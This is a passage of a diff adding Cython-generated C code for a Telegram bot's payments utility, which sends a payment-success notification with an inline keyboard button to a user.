Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_float); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_utils_py); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_int); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_u_profile); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_message); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__8); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification __pyx_mstate_global->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification +#endif +#define __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification __pyx_mstate_global->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__5 __pyx_mstate_global->__pyx_kp_u__5 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 +#define __pyx_n_s__9 __pyx_mstate_global->__pyx_n_s__9 +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_bot __pyx_mstate_global->__pyx_n_s_bot +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_s_chat_id __pyx_mstate_global->__pyx_n_s_chat_id +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_float __pyx_mstate_global->__pyx_n_s_float +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_kp_s_handlers_payments_utils_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_utils_py +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_int __pyx_mstate_global->__pyx_n_s_int +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_u_profile __pyx_mstate_global->__pyx_n_u_profile +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_message __pyx_mstate_global->__pyx_n_s_send_message +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__8 __pyx_mstate_global->__pyx_tuple__8 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_5utils_1send_payment_success_notification(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_5utils_1send_payment_success_notification = {"send_payment_success_notification", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_5utils_1send_payment_success_notification, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_5utils_1send_payment_success_notification(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_user_id = 0; + double __pyx_v_amount; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("send_payment_success_notification (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_user_id,&__pyx_n_s_amount,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_user_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 8, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_amount)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 8, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("send_payment_success_notification", 1, 2, 2, 1); __PYX_ERR(0, 8, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "send_payment_success_notification") < 0)) __PYX_ERR(0, 8, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_user_id = ((PyObject*)values[0]); + __pyx_v_amount = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_amount == (double)-1) && PyErr_Occurred())) __PYX_ERR(0, 8, __pyx_L3_error) + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("send_payment_success_notification", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 8, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.utils.send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_user_id), (&PyInt_Type), 0, "user_id", 1))) __PYX_ERR(0, 8, __pyx_L1_error) + __pyx_r = __pyx_pf_8handlers_8payments_5utils_send_payment_success_notification(__pyx_self, __pyx_v_user_id, __pyx_v_amount); + + /* function exit code */ + goto __pyx_L0; + __pyx_L1_error:; + __pyx_r = NULL; + __pyx_L0:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_5utils_send_payment_success_notification(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_user_id, double __pyx_v_amount) { + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("send_payment_success_notification", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 8, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_user_id = __pyx_v_user_id; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_user_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_user_id); + __pyx_cur_scope->__pyx_v_amount = __pyx_v_amount; + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_5utils_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_send_payment_success_notificatio, __pyx_n_s_send_payment_success_notificatio, __pyx_n_s_handlers_payments_utils); if (unlikely(!gen)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.utils.send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + Py_ssize_t __pyx_t_10; + Py_UCS4 __pyx_t_11; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("send_payment_success_notification", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L10_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 8, __pyx_L1_error) + + /* "handlers/payments/utils.py":9 + * + * async def send_payment_success_notification(user_id: int, amount: float): + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/utils.py":10 + * async def send_payment_success_notification(user_id: int, amount: float): + * try: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="profile") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 10, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 10, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/utils.py":11 + * try: + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="profile") + * ) + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 11, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + + /* "handlers/payments/utils.py":12 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="profile") # <<<<<<<<<<<<<< + * ) + * await bot.send_message( + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 12, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 12, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 12, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 12, __pyx_L4_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 12, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_9}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 11, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/utils.py":14 + * InlineKeyboardButton(text=" ", callback_data="profile") + * ) + * await bot.send_message( # <<<<<<<<<<<<<< + * chat_id=user_id, + * text=f" {amount} . !", + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_bot); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 14, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_send_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 14, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/utils.py":15 + * ) + * await bot.send_message( + * chat_id=user_id, # <<<<<<<<<<<<<< + * text=f" {amount} . !", + * reply_markup=builder.as_markup(), + */ + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 15, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_chat_id, __pyx_cur_scope->__pyx_v_user_id) < 0) __PYX_ERR(0, 15, __pyx_L4_error) + + /* "handlers/payments/utils.py":16 + * await bot.send_message( + * chat_id=user_id, + * text=f" {amount} . !", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_9 = PyTuple_New(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = 0; + __pyx_t_11 = 127; + __Pyx_INCREF(__pyx_kp_u__3); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 31; + __Pyx_GIVEREF(__pyx_kp_u__3); + PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_kp_u__3); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u__4); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 27; + __Pyx_GIVEREF(__pyx_kp_u__4); + PyTuple_SET_ITEM(__pyx_t_9, 2, __pyx_kp_u__4); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_9, 3, __pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 15, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/utils.py":17 + * chat_id=user_id, + * text=f" {amount} . !", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 17, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 15, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/utils.py":14 + * InlineKeyboardButton(text=" ", callback_data="profile") + * ) + * await bot.send_message( # <<<<<<<<<<<<<< + * chat_id=user_id, + * text=f" {amount} . !", + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 14, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L10_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 14, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 14, __pyx_L4_error) + } + } + + /* "handlers/payments/utils.py":9 + * + * async def send_payment_success_notification(user_id: int, amount: float): + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + 